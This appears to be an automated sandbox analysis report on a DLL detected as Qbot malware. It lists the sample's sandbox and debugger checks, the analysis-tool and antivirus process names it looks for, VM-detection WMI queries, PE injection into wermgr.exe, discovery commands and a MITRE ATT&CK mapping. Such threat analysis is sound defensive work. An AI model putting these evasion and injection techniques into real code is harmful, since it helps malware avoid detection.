Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\whoami.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\whoami.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wermgr.exe, 0000001F.00000003.449587478.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449523620.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415299958.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXEZ)
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXEU*QL
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SNIFF_HIT.EXEK*[L
Source: wermgr.exe, 0000001F.00000003.449587478.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449523620.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415299958.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SNIFF_HIT.EXEL*XL
Source: wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXED*@L
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMPORTREC.EXE
Source: wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXEG*'L
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: wermgr.exe, 0000001F.00000003.449587478.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449523620.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415299958.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BEHAVIORDUMPER.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXEM*YL
Source: wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXEK*[L
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXEB*"L
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXEB*"L
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROC_ANALYZER.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SNIFF_HIT.EXE
Source: wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXEL*XL
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: wermgr.exe, 0000001F.00000003.449523620.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415271951.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.415255086.0000000000E13000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 0000001F.00000003.449587478.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_PhysicalMemory

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_DiskDrive

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status from Win32_PnPEntity

Source: C:\Windows\SysWOW64\rundll32.exe TID: 7364

Thread sleep count: 193 > 30

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_19-13010

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_19-11954

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_ComputerSystem

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_Bios

Source: C:\Windows\SysWOW64\wermgr.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 19_2_00EFB883 GetSystemInfo,

19_2_00EFB883

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 19_2_00EF9DA8 FindFirstFileW,FindNextFileW,

19_2_00EF9DA8

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.me
Source: Amcache.hve.9.dr	Binary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.18227214.B64.2106252220,BiosReleaseDate:06/25/2021,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10029B40 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_10029B40

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10026F63 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_10026F63

Source: C:\Windows\SysWOW64\whoami.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\whoami.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\whoami.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10017DF9 mov eax, dword ptr fs:[00000030h]	3_2_10017DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_3_00EE2297 mov eax, dword ptr fs:[00000030h]	19_3_00EE2297
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00EF1015 mov eax, dword ptr fs:[00000030h]	19_2_00EF1015
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00EF21CD mov eax, dword ptr fs:[00000030h]	19_2_00EF21CD

Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 10_2_00C3F744 LdrInitializeThunk,

10_2_00C3F744

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10029845 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		3_2_10029845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10029B40 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		3_2_10029B40

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 430000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 13A3C50	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: 430000 protect: page read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\rundll32.exe

Memory written: C:\Windows\SysWOW64\wermgr.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\wermgr.exe	Process created: C:\Windows\SysWOW64\whoami.exe whoami /all

Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_1002999D cpuid

3_2_1002999D

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10029C62 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_10029C62

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_1001B34C GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,m?0unsupported_os@Concurrency@@QAE@XZ,

3_2_1001B34C

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Source: rundll32.exe, 00000013.00000003.393597691.000000000494F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: rundll32.exe, 00000013.00000003.393597691.000000000494F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: rundll32.exe, 00000013.00000003.393597691.000000000494F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\users\user\desktop\procexp.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: rundll32.exe, 00000013.00000003.393597691.000000000494F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgcsrvx.exe
Source: rundll32.exe, 00000013.00000003.393597691.000000000494F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: Amcache.hve.9.dr	Binary or memory string: procexp.exe
Source: rundll32.exe, 00000013.00000003.393597691.000000000494F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Qbot

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 19.2.rundll32.exe.cf0968.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.ef0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.cf0968.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.409441736.00000000048D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.406028423.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Qbot

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 19.2.rundll32.exe.cf0968.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.ef0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.cf0968.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.409441736.00000000048D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.406028423.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10015049 mEnableTracing@Concurrency@@YAJXZ,Concurrency::details::SchedulerBase::GetInternalContext,mEnableTracing@Concurrency@@YAJXZ,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,		3_2_10015049
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10015D00 mEnableTracing@Concurrency@@YAJXZ,Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,mEnableTracing@Concurrency@@YAJXZ,Concurrency::details::SchedulerBase::GetInternalContext,mEnableTracing@Concurrency@@YAJXZ,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,mEnableTracing@Concurrency@@YAJXZ,		3_2_10015D00

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	341 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Masquerading	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	12 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	3 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	341 Virtualization/Sandbox Evasion	1 Input Capture	561 Security Software Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	341 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Archive Collected Data	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Rundll32	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	345 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
photographed.dat.dll	5%	ReversingLabs
photographed.dat.dll	3%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
linkedin.com	13.107.42.14	true	false		high
